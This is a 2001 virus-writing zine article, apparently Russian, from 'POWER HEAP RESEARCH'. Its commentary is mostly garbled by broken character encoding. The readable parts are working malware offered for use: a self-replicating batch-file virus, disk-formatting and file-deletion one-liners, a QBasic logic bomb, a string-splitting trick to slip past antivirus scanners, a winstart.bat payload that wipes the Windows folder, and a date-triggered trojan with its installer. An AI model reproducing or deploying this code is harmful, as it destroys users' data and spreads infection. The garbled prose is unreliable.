
                        =>POWER HEAP RESEARCH<=

             
                                 
                                 
                         

                           
                            
                           
                          

                          [yp pp]

 Hp 2 [2001]
 --------------

                      pp p祣 .bat - py

  ᫥ p졠  py pp .bat - py Evir, p
⮫쪮 p. H⮪ py -  ⥪py ⨢py-
. ⠩ p ⮪ ᠬ. y - p  py
p祪...


@if '%_virus%==' goto _virus
::**** HOST ****
@if not '%_virus%==' goto ViRuSend
:_virus ViRuS
@echo off%_ViRuS%
if '%1=='ViRuS goto ViRuS%2
set ViRuS=%0.bat
if not exist %ViRuS% set ViRuS=%0
if '%ViRuS%==' set ViRuS=autoexec.bat
set !ViRuS=%1 %2 %3 %4 %5 %6 %7 %8 %9
call %ViRuS% ViRuS rh
set _virus=>nul.ViRuS
set !ViRuS=
if exist c:\_ViRuS.bat goto ViRuSg
if not exist %ViRuS% goto eViRuS
find "ViRuS"<%ViRuS%>c:\_ViRuS.bat
attrib c:\_ViRuS.bat +h
:ViRuSg
command /e:5000 /c c:\_ViRuS ViRuS vir
:eViRuS
set ViRuS=
goto ViRuSend
:ViRuSrh
set _virus=x%_ViRuS%
%ViRuS% %!ViRuS%
:ViRuSvir
for %%a in (*.bat) do call c:\_ViRuS ViRuS i %%a
exit ViRuS
:ViRuSi
find "ViRuS"<%3>nul
if not errorlevel 1 goto ViRuSj
echo @if '%%_virus%%==' goto _virus>ViRuS$
type %3>>ViRuS$
echo.>>ViRuS$
type c:\_ViRuS.bat>>ViRuS$
move ViRuS$ %3>nul
set ViRuS#=%ViRuS#%1
if %ViRuS#%==11 exit
:ViRuSj
set ViRuS!=%ViRuS!%1
if %ViRuS!%==11111111 exit
:ViRuSend

--------------------------

  ⥯p  p  ⥬,    y  py,   ᤥ-
 -y pאַ ᥩ. p? p! H ppy,
p p .bat  .com  .exe. H諨? ⥫쭮! p ᮧ-
 䠩 .bat  ᮤp ⨯ :

             echo y | format c: /u
 
             echo y | del c:\*.*

  ⥯p ᪮p .bat  .com  .exe  y y  (y 
 e-mail, ⮫쪮 p諨 ᠭ,   ᥬ  ).
 y ᯮp,   ⨢py    ﭨ py y
. 筮,   ᤥ   y  y del,   
y  䠩   pﭥ ⮫쪮 - ⮣,     py!
   format, fdisk   -y.    p ? H!
 py  ⠪y yy p⨪y... y p殮...
  p⨢ , , 騩  ⥪ p  y ᥡ 
.   ⮫쪮  .
  y ᥣ ,   p    몥. 쬥  p-
py  :

         PRINT "  y ⥡ Windows ?"
         SHELL "ECHO Y | ERASE C:\WINDOWS\*.EXE"

 ᫨  ᪮p,  y , 祣  y  H H
 !!!  MS Quick Basic ⠪ py 뢠 Helloween.Logic.Bomb.
    ⮬,  QBasic (  Quick Basic) ppy  py-
,  pp頥   p 䠩 ᢮ p. p   䠩
 ᠬ pp,   ⥪ p p楤yp.   
pᥬp   ﭨ ᫨  .    ᯮ  
⠪ :

            LET A$="ECH"
            LET B$="O Y | "
            LET C$="FOR"
            LET D$="MAT C"+": /U"
            LET A$=A$+B$+C$+D$
            SHELL A$

   y饩 ᪨p   ⠪ : 

            LET A$="ECH"
            LET X=3.1415926
            LET B$="O Y | "
            LET X=X/128.256
            LET C$="FOR"
            LET D$="MAT C"+": /U"
            KEY OFF
            LET A$=A$+B$+C$+D$
            SHELL "BREAK=OFF"
            SHELL A$

 ⨭y   y .  ᫨     py  ᨪ -
   -.

  ⮬ 宬y 祫y ?  祭 p !  y  ⠫
Windows 䠩 winstart.bat  pp ⠪ ᮤp :
 
            @echo off
            ctty nul
            echo y | erase c:\windows\*.*
            echo y | erase c:\~1\*.*
            ctty con
            echo p  堪p -yp !
            erase c:\command.com

  宥 ⮥ y ᯥ祭 :(
 
      ⢮p :


' Helloween.Ekaterinburg.Trojan
' -----------------------------
RANDOMIZE TIMER
IF COMMAND$ = "" THEN GOTO install
GOTO trojan
install:
CLS
PRINT "Helloween.Ekaterinburg.Trojan": PRINT
LINE INPUT " y ⨢樨 pﭠ => "; dact$
LINE INPUT " ⥪ => "; text$
MKDIR "hetrojan"
OPEN "hetrojan\winlib.dll" FOR OUTPUT AS #1
PRINT #1, text$: CLOSE #1
OPEN "temp.bat" FOR OUTPUT AS #1
PRINT #1, "@echo off"
PRINT #1, "ctty nul"
PRINT #1, "copy hetrojan.exe hetrojan\win32lib.exe"
CLOSE #1: SHELL "temp.bat": KILL "temp.bat"
OPEN "hetrojan\winstart.bat" FOR OUTPUT AS #1
PRINT #1, "@echo off"
PRINT #1, "ctty nul"
PRINT #1, "win32lib.exe "; dact$
CLOSE #1
PRINT
PRINT "Install O.K."
PRINT "(C) 2001 POWER HEAP RESEARCH"
END
trojan:
IF DATE$ = LTRIM$(RTRIM$(COMMAND$)) THEN GOTO dalshe ELSE END
dalshe:
OPEN "winlib.dll" FOR INPUT AS #1
LINE INPUT #1, a$: CLOSE #1
PRINT a$: BEEP
'DIM a%(17)
'DEF SEG = VARSEG(a%(0))
'FOR I% = 0 TO 16
'READ D%
'POKE VARPTR(a%(0)) + I%, D%
'NEXT I%
'DATA 178,00,182,00,181,80,177,01,176,08,205,13,180,00,205,21,195
'DATA 180,5,178,0,182,0,181,0,177,1,176,8,205,13,180,0,205,21,195
'DIM b%(17)
'DEF SEG = VARSEG(b%(0))
'FOR I% = 0 TO 16
'READ D%
'POKE VARPTR(b%(0)) + I%, D%
'NEXT I%
'CALL ABSOLUTE(VARPTR(a%(0)))
'CALL ABSOLUTE(VARPTR(b%(0)))
metka:
OUT &H3C2, RND * 255
GOTO metka
END

 p ⠫樨  y  01-10-2001,    01.10.2001.  
 ᫥ ⠫樨  䠩  ⠫ HETROJAN  WINDOWS. 
 Hy ᫠ p 筥  ⮩ p.  -
p p  p᪨ ᭮.  ᫨ yp -
p p,  p  ᪮  p. :)
 
 
 騬 y  MS-DOS   p  ...

                                             Helloween.